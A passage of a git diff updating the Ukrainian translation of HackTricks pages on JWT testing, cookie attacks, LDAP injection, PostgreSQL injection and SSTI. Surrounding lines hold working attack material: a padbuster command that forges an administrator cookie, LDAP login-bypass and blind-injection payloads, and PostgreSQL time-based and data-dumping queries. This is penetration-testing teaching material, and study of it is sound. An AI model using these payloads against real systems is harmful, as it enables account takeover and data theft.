те саме ім'я користувача/електронну пошту. Потім слід спробувати повторити отриманий токен у запиті до цілі, щоб перевірити, чи буде він прийнятий. -* Критична проблема може бути вказана прийняттям вашого токена, що потенційно дозволяє підробку облікового запису будь-якого користувача. Однак слід зазначити, що для більш широкого тестування може знадобитися дозвіл, якщо реєстрація на сторонньому додатку, оскільки це може потрапити в юридичну сіру зону. +* Критична проблема може бути вказана прийняттям вашого токена, що потенційно дозволяє підробку облікового запису будь-якого користувача. Однак слід зазначити, що може знадобитися дозвіл на більш широке тестування, якщо реєстрація на сторонньому додатку, оскільки це може потрапити в юридичну сіру зону. **Перевірка терміну дії токенів** -Термін дії токена перевіряється за допомогою заяви "exp" Payload. Оскільки JWT часто використовуються без інформації про сесію, потрібна обережна обробка. У багатьох випадках захоплення та повторне використання JWT іншого користувача може дозволити видавати себе за цього користувача. Рекомендації JWT RFC пропонують зменшити атаки повторного використання JWT, використовуючи заяву "exp" для встановлення часу закінчення дії токена. Крім того, реалізація відповідних перевірок додатком для забезпечення обробки цього значення та відхилення прострочених токенів є критично важливою. Якщо токен містить заяву "exp" і обмеження часу тестування дозволяють, рекомендується зберігати токен і повторно використовувати його після закінчення терміну дії. Зміст токена, включаючи парсинг міток часу та перевірку терміну дії (мітка часу в UTC), можна прочитати за допомогою прапора -R інструмента jwt_tool. +Термін дії токена перевіряється за допомогою заяви "exp" Payload. Оскільки JWT часто використовуються без інформації про сесію, потрібна обережна обробка. У багатьох випадках захоплення та повторне використання JWT іншого користувача може дозволити видавати себе за цього користувача. RFC JWT рекомендує пом'якшувати атаки повторного використання JWT, використовуючи заяву "exp" для встановлення часу закінчення дії токена. Крім того, реалізація відповідних перевірок додатком для забезпечення обробки цього значення та відхилення прострочених токенів є критично важливою. Якщо токен містить заяву "exp" і обмеження часу тестування дозволяють, рекомендується зберігати токен і повторно використовувати його після закінчення терміну дії. Зміст токена, включаючи парсинг міток часу та перевірку терміну дії (мітка часу в UTC), можна прочитати за допомогою прапора -R інструмента jwt_tool. * Існує ризик безпеки, якщо додаток все ще перевіряє токен, оскільки це може означати, що токен ніколи не може закінчитися. @@ -260,19 +260,19 @@ console.log('Parameter e: ', publicComponents.e.toString(16)); {% embed url="https://github.com/ticarpi/jwt_tool" %} -
+
-Якщо ви зацікавлені в **кар'єрі в хакерстві** та в тому, щоб зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_). +Якщо вас цікавить **кар'єра в хакерстві** і ви хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_). {% embed url="https://www.stmcyber.com/careers" %} {% hint style="success" %} -Вчіться та практикуйте хакерство AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Вчіться та практикуйте хакерство GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Вчіться та практикуйте AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Вчіться та практикуйте GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Підтримка HackTricks +Підтримати HackTricks * Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)! * **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** diff --git a/pentesting-web/hacking-with-cookies/README.md b/pentesting-web/hacking-with-cookies/README.md index 5593efbf9..669440a37 100644 --- a/pentesting-web/hacking-with-cookies/README.md +++ b/pentesting-web/hacking-with-cookies/README.md @@ -29,13 +29,13 @@ Cookies мають кілька атрибутів, які контролюют ### Path -Конкретний URL-адрес, який повинен бути присутнім у запитуваному URL, щоб заголовок `Cookie` був надісланий, вказується атрибутом `Path`. Цей атрибут розглядає символ `/` як роздільник директорій, що дозволяє відповідати також у підкаталогах. +Конкретний URL-адреса, яка повинна бути присутня в запитуваній URL-адресі, щоб заголовок `Cookie` був надісланий, вказується атрибутом `Path`. Цей атрибут розглядає символ `/` як роздільник директорій, що дозволяє відповідати також підкаталогам. ### Ordering Rules Коли два cookie мають однакову назву, вибір того, який буде надіслано, базується на: -* Cookie, що відповідає найдовшому шляху в запитуваному URL. +* Cookie, що відповідає найдовшому шляху в запитуваній URL-адресі. * Найновішому встановленому cookie, якщо шляхи ідентичні. ### SameSite @@ -73,7 +73,7 @@ Cookie з атрибутом _**SameSite**_ **зменшить атаки CSRF** * Якщо сторінка **надсилає cookie у відповідь** на запити (наприклад, на сторінці **PHPinfo**), можна зловживати XSS, щоб надіслати запит на цю сторінку та **вкрасти cookie** з відповіді (перевірте приклад на [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/)). * Це можна обійти за допомогою **TRACE** **HTTP** запитів, оскільки відповідь сервера (якщо цей HTTP-метод доступний) відобразить надіслані cookie. Цю техніку називають **Cross-Site Tracking**. -* Цю техніку уникають **сучасні браузери, не дозволяючи надсилати запит TRACE** з JS. Однак деякі обхідні шляхи були знайдені в специфічному програмному забезпеченні, наприклад, надсилаючи `\r\nTRACE` замість `TRACE` до IE6.0 SP2. +* Цю техніку уникають **сучасні браузери, не дозволяючи надсилати запит TRACE** з JS. Однак деякі обходи цього були знайдені в специфічному програмному забезпеченні, наприклад, надсилаючи `\r\nTRACE` замість `TRACE` до IE6.0 SP2. * Інший спосіб - це експлуатація вразливостей нульового дня браузерів. * Можливо **перезаписати cookie HttpOnly**, виконуючи атаку переповнення Cookie Jar: @@ -104,11 +104,11 @@ Cookie, що починаються з `__Secure-`, повинні бути вс Отже, одне з захистів cookie з префіксом `__Host-` - це запобігання їх перезапису з піддоменів. Запобігання, наприклад, [**Cookie Tossing attacks**](cookie-tossing.md). У доповіді [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) представлено, що було можливо встановити cookie з префіксом \_\_HOST- з піддомену, обманюючи парсер, наприклад, додаючи "=" на початку або на початку і в кінці...: -
+
Або в PHP було можливо додати **інші символи на початку** назви cookie, які будуть **замінені на символи підкреслення**, що дозволяє перезаписати cookie `__HOST-`: -
+
## Cookies Attacks @@ -116,7 +116,7 @@ Cookie, що починаються з `__Secure-`, повинні бути вс ### Decoding and Manipulating Cookies -Чутливі дані, вбудовані в cookie, завжди повинні бути перевірені. Cookie, закодовані в Base64 або подібних форматах, часто можуть бути декодовані. Ця вразливість дозволяє зловмисникам змінювати вміст cookie та видавати себе за інших користувачів, закодовуючи їх змінені дані назад у cookie. +Чутливі дані, вбудовані в cookie, завжди повинні бути перевірені. Cookie, закодовані в Base64 або подібних форматах, часто можуть бути декодовані. Ця вразливість дозволяє зловмисникам змінювати вміст cookie та видавати себе за інших користувачів, закодовуючи їх модифіковані дані назад у cookie. ### Session Hijacking @@ -160,7 +160,7 @@ document.cookie = "a=v1" document.cookie = "=test value;" // Setting an empty named cookie document.cookie = "b=v2" ``` -Результат у заголовку cookie, що надіслано, є `a=v1; test value; b=v2;`. Цікаво, що це дозволяє маніпулювати cookie, якщо встановлено cookie з порожнім ім'ям, потенційно контролюючи інші cookie, встановлюючи порожній cookie на конкретне значення: +Результат у заголовку cookie, що надсилається, - `a=v1; test value; b=v2;`. Цікаво, що це дозволяє маніпулювати cookie, якщо встановлено cookie з порожнім ім'ям, потенційно контролюючи інші cookie, встановлюючи порожній cookie на конкретне значення: ```js function setCookie(name, value) { document.cookie = `${name}=${value}`; @@ -170,17 +170,17 @@ setCookie("", "a=b"); // Setting the empty cookie modifies another cookie's valu ``` Це призводить до того, що браузер надсилає заголовок cookie, який кожен веб-сервер інтерпретує як cookie з назвою `a` та значенням `b`. -#### Chrome Bug: Проблема з кодовими точками сурогатного Юнікоду +#### Chrome Bug: Проблема з кодовими точками сурогатів Unicode -У Chrome, якщо кодова точка сурогату Юнікоду є частиною встановленого cookie, `document.cookie` стає пошкодженим, повертаючи порожній рядок надалі: +У Chrome, якщо кодова точка сурогата Unicode є частиною встановленого cookie, `document.cookie` стає пошкодженим, повертаючи порожній рядок наступним чином: ```js document.cookie = "\ud800=meep"; ``` -Це призводить до того, що `document.cookie` виводить порожній рядок, що вказує на постійну корупцію. +Це призводить до того, що `document.cookie` виводить порожній рядок, що вказує на постійне пошкодження. -#### Викрадення Cookie через проблеми з парсингом +#### Викрадення куків через проблеми з парсингом -(Дивіться деталі в [оригінальному дослідженні](https://blog.ankursundara.com/cookie-bugs/)) Декілька веб-серверів, включаючи ті, що з Java (Jetty, TomCat, Undertow) та Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), неправильно обробляють рядки cookie через застарілу підтримку RFC2965. Вони читають значення cookie в подвійних лапках як одне значення, навіть якщо воно містить крапки з комою, які зазвичай повинні розділяти пари ключ-значення: +(Дивіться деталі в [оригінальному дослідженні](https://blog.ankursundara.com/cookie-bugs/)) Декілька веб-серверів, включаючи ті, що з Java (Jetty, TomCat, Undertow) та Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), неправильно обробляють рядки куків через застарілу підтримку RFC2965. Вони читають значення кука в подвійних лапках як одне значення, навіть якщо воно містить крапки з комою, які зазвичай повинні розділяти пари ключ-значення: ``` RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end"; ``` @@ -198,21 +198,21 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end"; #### **Основні перевірки** -* **Кук** є **однаковим** щоразу, коли ви **входите** в систему. -* Вийдіть з системи та спробуйте використати той самий кук. -* Спробуйте увійти з 2 пристроїв (або браузерів) до одного й того ж облікового запису, використовуючи той самий кук. -* Перевірте, чи містить кук якусь інформацію, і спробуйте змінити його. +* **Кука** є **такою ж** щоразу, коли ви **увійдете**. +* Вийдіть з системи та спробуйте використати ту ж куку. +* Спробуйте увійти з 2 пристроїв (або браузерів) до одного й того ж облікового запису, використовуючи ту ж куку. +* Перевірте, чи кука містить якусь інформацію, і спробуйте її змінити. * Спробуйте створити кілька облікових записів з майже однаковими іменами користувачів і перевірте, чи можете ви побачити подібності. -* Перевірте опцію "**запам'ятати мене**", якщо вона існує, щоб дізнатися, як вона працює. Якщо вона існує і може бути вразливою, завжди використовуйте кук **запам'ятати мене** без жодного іншого кука. -* Перевірте, чи працює попередній кук навіть після зміни пароля. +* Перевірте опцію "**запам'ятати мене**", якщо вона існує, щоб дізнатися, як вона працює. Якщо вона існує і може бути вразливою, завжди використовуйте куку **запам'ятати мене** без жодної іншої куки. +* Перевірте, чи попередня кука працює навіть після зміни пароля. -#### **Атаки на куки високого рівня** +#### **Розширені атаки на куки** -Якщо кук залишається тим самим (або майже тим самим) під час входу, це, ймовірно, означає, що кук пов'язаний з якимось полем вашого облікового запису (ймовірно, з іменем користувача). Тоді ви можете: +Якщо кука залишається такою ж (або майже такою ж) під час входу, це, ймовірно, означає, що кука пов'язана з якимось полем вашого облікового запису (ймовірно, ім'ям користувача). Тоді ви можете: -* Спробуйте створити багато **облікових записів** з дуже **схожими** іменами користувачів і спробуйте **вгадати**, як працює алгоритм. -* Спробуйте **брутфорсити ім'я користувача**. Якщо кук зберігається лише як метод аутентифікації для вашого імені користувача, тоді ви можете створити обліковий запис з ім'ям користувача "**Bmin**" і **брутфорсити** кожен окремий **біт** вашого кука, оскільки один з куків, які ви спробуєте, буде належати "**admin**". -* Спробуйте **Padding** **Oracle** (ви можете розшифрувати вміст кука). Використовуйте **padbuster**. +* Спробувати створити багато **облікових записів** з дуже **схожими** іменами користувачів і спробувати **вгадати**, як працює алгоритм. +* Спробувати **брутфорсити ім'я користувача**. Якщо кука зберігається лише як метод аутентифікації для вашого імені користувача, тоді ви можете створити обліковий запис з ім'ям користувача "**Bmin**" і **брутфорсити** кожен окремий **біт** вашої куки, оскільки одна з куків, яку ви спробуєте, буде належати "**admin**". +* Спробуйте **Padding** **Oracle** (ви можете розшифрувати вміст куки). Використовуйте **padbuster**. **Padding Oracle - приклади Padbuster** ```bash @@ -232,7 +232,7 @@ Padbuster зробить кілька спроб і запитає вас, як ``` padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator ``` -Це виконання надасть вам cookie, правильно зашифрований і закодований зі строкою **user=administrator** всередині. +Це виконання надасть вам cookie, правильно зашифрований та закодований зі строкою **user=administrator** всередині. **CBC-MAC** @@ -251,11 +251,11 @@ padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lB **Як виявити та атакувати:** -Створіть 2 користувачів з майже однаковими даними (ім'я користувача, пароль, електронна пошта тощо) і спробуйте виявити певний шаблон у наданому cookie. +Створіть 2 користувачів з майже однаковими даними (ім'я користувача, пароль, електронна пошта тощо) і спробуйте виявити певний шаблон у даному cookie. Створіть користувача, наприклад, "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" і перевірте, чи є якийсь шаблон у cookie (оскільки ECB шифрує з одним і тим же ключем кожен блок, ті ж зашифровані байти можуть з'явитися, якщо ім'я користувача зашифровано). -Повинен бути шаблон (з розміром використаного блоку). Отже, знаючи, як зашифровано купу "a", ви можете створити ім'я користувача: "a"\*(розмір блоку)+"admin". Тоді ви могли б видалити зашифрований шаблон блоку "a" з cookie. І у вас буде cookie імені користувача "admin". +Має бути шаблон (з розміром використаного блоку). Отже, знаючи, як зашифровано купу "a", ви можете створити ім'я користувача: "a"\*(розмір блоку)+"admin". Тоді ви могли б видалити зашифрований шаблон блоку "a" з cookie. І у вас буде cookie імені користувача "admin". ## Посилання diff --git a/pentesting-web/ldap-injection.md b/pentesting-web/ldap-injection.md index 3ae99d287..f396969f9 100644 --- a/pentesting-web/ldap-injection.md +++ b/pentesting-web/ldap-injection.md @@ -17,7 +17,7 @@
{% endhint %} -
+
Якщо ви зацікавлені в **кар'єрі в хакерстві** та хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_). @@ -73,7 +73,7 @@ Тоді: `(&(objectClass=`**`*)(ObjectClass=*))`** буде першим фільтром (тим, що виконується). -### Обхід авторизації +### Login Bypass LDAP підтримує кілька форматів для зберігання пароля: clear, md5, smd5, sh1, sha, crypt. Тому може бути так, що незалежно від того, що ви введете в пароль, він буде захищений. ```bash @@ -134,11 +134,11 @@ password=any * [LDAP\_FUZZ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_FUZZ.txt) * [LDAP Атрибути](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt) -* [Атрибути LDAP PosixAccount](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html) +* [LDAP Атрибути PosixAccount](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html) ### Сліпа LDAP Ін'єкція -Ви можете примусити отримати False або True відповіді, щоб перевірити, чи повертаються які-небудь дані, і підтвердити можливу Сліпу LDAP Ін'єкцію: +Ви можете примусити отримати False або True відповіді, щоб перевірити, чи повертаються які-небудь дані та підтвердити можливу Сліпу LDAP Ін'єкцію: ```bash #This will result on True, so some information will be shown Payload: *)(objectClass=*))(&objectClass=void @@ -224,7 +224,7 @@ intitle:"phpLDAPadmin" inurl:cmd.php {% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %} -
+
Якщо вас цікавить **кар'єра в хакерстві** і ви хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_). @@ -240,7 +240,7 @@ intitle:"phpLDAPadmin" inurl:cmd.php * Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)! * **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub. +* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
{% endhint %} diff --git a/pentesting-web/sql-injection/postgresql-injection/README.md b/pentesting-web/sql-injection/postgresql-injection/README.md index 47faa8326..b2c5e4900 100644 --- a/pentesting-web/sql-injection/postgresql-injection/README.md +++ b/pentesting-web/sql-injection/postgresql-injection/README.md @@ -1,41 +1,41 @@ # PostgreSQL injection {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Вивчайте та практикуйте AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Вивчайте та практикуйте GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Support HackTricks +Підтримайте HackTricks -* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)! +* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
{% endhint %} -
+
-If you are interested in **кар'єрі в хакерстві** and hack the unhackable - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_). +Якщо ви зацікавлені в **кар'єрі в хакерстві** та хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_). {% embed url="https://www.stmcyber.com/careers" %} *** -**Ця сторінка має на меті пояснити різні трюки, які можуть допомогти вам експлуатувати SQL-ін'єкцію, знайдену в базі даних postgresql, і доповнити трюки, які ви можете знайти на** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md) +**Ця сторінка має на меті пояснити різні трюки, які можуть допомогти вам експлуатувати SQL-ін'єкцію, виявлену в базі даних postgresql, та доповнити трюки, які ви можете знайти на** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md) -## Network Interaction - Привілейоване підвищення, сканер портів, розкриття відповіді на виклик NTLM та ексфільтрація +## Взаємодія з мережею - ескалація привілеїв, сканер портів, розкриття NTLM challenge response та ексфільтрація -**Модуль PostgreSQL `dblink`** пропонує можливості для підключення до інших екземплярів PostgreSQL та виконання TCP-з'єднань. Ці функції, в поєднанні з функціональністю `COPY FROM`, дозволяють виконувати дії, такі як підвищення привілеїв, сканування портів та захоплення відповіді на виклик NTLM. Для детальних методів виконання цих атак перевірте, як [виконати ці атаки](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md). +**Модуль PostgreSQL `dblink`** пропонує можливості для підключення до інших екземплярів PostgreSQL та виконання TCP-з'єднань. Ці функції, в поєднанні з функціональністю `COPY FROM`, дозволяють виконувати дії, такі як ескалація привілеїв, сканування портів та захоплення NTLM challenge response. Для детальних методів виконання цих атак перевірте, як [виконати ці атаки](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md). -### **Приклад ексфільтрації за допомогою dblink та великих об'єктів** +### **Приклад ексфільтрації з використанням dblink та великих об'єктів** -Ви можете [**прочитати цей приклад**](dblink-lo\_import-data-exfiltration.md), щоб побачити приклад CTF **як завантажити дані всередині великих об'єктів, а потім ексфільтрувати вміст великих об'єктів всередині імені користувача** функції `dblink_connect`. +Ви можете [**прочитати цей приклад**](dblink-lo\_import-data-exfiltration.md), щоб побачити приклад CTF **як завантажити дані всередину великих об'єктів, а потім ексфільтрувати вміст великих об'єктів всередині імені користувача** функції `dblink_connect`. -## Атаки PostgreSQL: Читання/запис, RCE, підвищення привілеїв +## Атаки на PostgreSQL: читання/запис, RCE, ескалація привілеїв -Перевірте, як скомпрометувати хост і підвищити привілеї з PostgreSQL у: +Перевірте, як скомпрометувати хост та ескалувати привілеї з PostgreSQL у: {% content-ref url="../../../network-services-pentesting/pentesting-postgresql.md" %} [pentesting-postgresql.md](../../../network-services-pentesting/pentesting-postgresql.md) @@ -50,7 +50,7 @@ If you are interested in **кар'єрі в хакерстві** and hack the un ### Складені запити -Пам'ятайте, що postgresql підтримує складені запити, але кілька додатків видадуть помилку, якщо буде повернено 2 відповіді, коли очікується лише 1. Але ви все ще можете зловживати складеними запитами через Time injection: +Пам'ятайте, що PostgreSQL підтримує складені запити, але кілька додатків видадуть помилку, якщо буде повернуто 2 відповіді, коли очікується лише 1. Але ви все ще можете зловживати складеними запитами через Time injection: ``` id=1; select pg_sleep(10);-- - 1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- - @@ -59,19 +59,19 @@ id=1; select pg_sleep(10);-- - **query\_to\_xml** -Ця функція поверне всі дані у форматі XML в одному файлі. Це ідеально, якщо ви хочете вивантажити багато даних в одному рядку: +Ця функція поверне всі дані у форматі XML в одному файлі. Це ідеально, якщо ви хочете вивантажити багато даних в один рядок: ```sql SELECT query_to_xml('select * from pg_user',true,true,''); ``` **database\_to\_xml** -Ця функція вивантажить всю базу даних у форматі XML всього в 1 рядку (обережно, якщо база даних дуже велика, оскільки ви можете викликати DoS або навіть вашого власного клієнта): +Ця функція вивантажить всю базу даних у форматі XML в лише 1 рядок (обережно, якщо база даних дуже велика, оскільки ви можете викликати DoS або навіть вашого власного клієнта): ```sql SELECT database_to_xml(true,true,''); ``` ### Strings in Hex -Якщо ви можете виконувати **запити**, передаючи їх **всередині рядка** (наприклад, використовуючи функцію **`query_to_xml`**). **Ви можете використовувати convert\_from, щоб передати рядок у вигляді шістнадцяткового коду і обійти фільтри таким чином:** +Якщо ви можете виконувати **запити**, передаючи їх **всередині рядка** (наприклад, використовуючи функцію **`query_to_xml`**). **Ви можете використовувати convert\_from, щоб передати рядок у вигляді шістнадцяткового коду і таким чином обійти фільтри:** {% code overflow="wrap" %} ```sql @@ -97,7 +97,7 @@ SELECT 'hacktricks'; SELECT $$hacktricks$$; SELECT $TAG$hacktricks$TAG$; ``` -
+
Якщо вас цікавить **кар'єра в хакерстві** і ви хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_). @@ -109,11 +109,11 @@ SELECT $TAG$hacktricks$TAG$;
-Підтримати HackTricks +Підтримайте HackTricks * Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)! * **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github. +* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
{% endhint %} diff --git a/pentesting-web/ssti-server-side-template-injection/README.md b/pentesting-web/ssti-server-side-template-injection/README.md index fcf8483b6..a27e55922 100644 --- a/pentesting-web/ssti-server-side-template-injection/README.md +++ b/pentesting-web/ssti-server-side-template-injection/README.md @@ -1,57 +1,65 @@ # SSTI (Server Side Template Injection) {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + + +[https://miro.medium.com/v2/resize:fit:640/format:webp/1\*3RO051EgizbEer-mdHD8Kg.jpe](https://miro.medium.com/v2/resize:fit:640/format:webp/1\*3RO051EgizbEer-mdHD8Kg.jpeg)Вивчайте та практикуйте AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Вивчайте та практикуйте GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Support HackTricks +Підтримайте HackTricks -* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)! +* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
{% endhint %}
-[**RootedCON**](https://www.rootedcon.com) є найважливішою подією в сфері кібербезпеки в **Іспанії** та однією з найважливіших в **Європі**. З **метою популяризації технічних знань**, цей конгрес є гарячою точкою зустрічі для професіоналів у сфері технологій та кібербезпеки в усіх дисциплінах. +[**RootedCON**](https://www.rootedcon.com) є найважливішою подією в сфері кібербезпеки в **Іспанії** та однією з найважливіших в **Європі**. З **метою просування технічних знань**, цей конгрес є гарячою точкою зустрічі для професіоналів у сфері технологій та кібербезпеки в усіх дисциплінах. {% embed url="https://www.rootedcon.com/" %} -## What is SSTI (Server-Side Template Injection) +## Що таке SSTI (Server-Side Template Injection) -Server-side template injection — це вразливість, яка виникає, коли зловмисник може впровадити шкідливий код у шаблон, що виконується на сервері. Цю вразливість можна знайти в різних технологіях, включаючи Jinja. +Вплив шаблона на стороні сервера - це вразливість, яка виникає, коли зловмисник може впровадити шкідливий код у шаблон, що виконується на сервері. Цю вразливість можна знайти в різних технологіях, включаючи Jinja. -Jinja — це популярний движок шаблонів, що використовується в веб-додатках. Розглянемо приклад, який демонструє вразливий фрагмент коду, що використовує Jinja: +Jinja - це популярний движок шаблонів, що використовується в веб-додатках. Розглянемо приклад, який демонструє вразливий фрагмент коду, що використовує Jinja: ```python output = template.render(name=request.args.get('name')) ``` -В цьому вразливому коді параметр `name` з запиту користувача безпосередньо передається в шаблон за допомогою функції `render`. Це може потенційно дозволити зловмиснику впровадити шкідливий код у параметр `name`, що призведе до ін'єкції шаблона на стороні сервера. +У цьому вразливому коді параметр `name` з запиту користувача безпосередньо передається в шаблон за допомогою функції `render`. Це може потенційно дозволити зловмиснику впровадити шкідливий код у параметр `name`, що призведе до ін'єкції шаблона на стороні сервера. Наприклад, зловмисник може створити запит з корисним навантаженням, як це: ``` http://vulnerable-website.com/?name={{bad-stuff-here}} ``` -Пейлоад `{{bad-stuff-here}}` впроваджується в параметр `name`. Цей пейлоад може містити директиви шаблону Jinja, які дозволяють зловмиснику виконувати несанкціонований код або маніпулювати движком шаблонів, потенційно отримуючи контроль над сервером. +Пейлоад `{{bad-stuff-here}}` інжектується в параметр `name`. Цей пейлоад може містити директиви шаблону Jinja, які дозволяють зловмиснику виконувати несанкціонований код або маніпулювати движком шаблонів, потенційно отримуючи контроль над сервером. -Щоб запобігти вразливостям ін'єкції шаблонів на стороні сервера, розробники повинні забезпечити належну санітарію та валідацію введених користувачем даних перед їх вставкою в шаблони. Реалізація валідації введення та використання технік ескейпінгу, що враховують контекст, можуть допомогти зменшити ризик цієї вразливості. +Щоб запобігти вразливостям інжекції шаблонів на стороні сервера, розробники повинні забезпечити належну санітарну обробку та валідацію введених даних перед їх вставкою в шаблони. Реалізація валідації введення та використання технік ескейпінгу, що враховують контекст, можуть допомогти зменшити ризик цієї вразливості. ### Виявлення -Щоб виявити ін'єкцію 